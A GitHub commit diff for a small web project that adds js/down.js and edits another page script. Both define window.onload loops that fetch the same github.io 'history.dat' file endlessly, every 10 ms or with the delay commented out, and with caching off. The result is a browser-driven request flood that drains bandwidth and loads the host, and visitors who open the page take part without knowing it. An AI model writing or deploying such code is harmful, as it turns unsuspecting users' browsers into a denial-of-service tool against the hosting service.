This commit is contained in:
Boof 2023-01-18 13:24:10 +01:00 committed by GitHub
parent 6f19503b92
commit 312fc1a48b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 14 additions and 7 deletions

View File

@ -37,13 +37,7 @@ if(resppage = true){
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}
window.onload = async function startdown2(){
while(true) {
await delay(10);
//await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}

13
js/down.js Normal file
View File

@ -0,0 +1,13 @@
// Set delay to ms
function delay(milliseconds){
return new Promise(resolve => {
setTimeout(resolve, milliseconds);
});
}
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}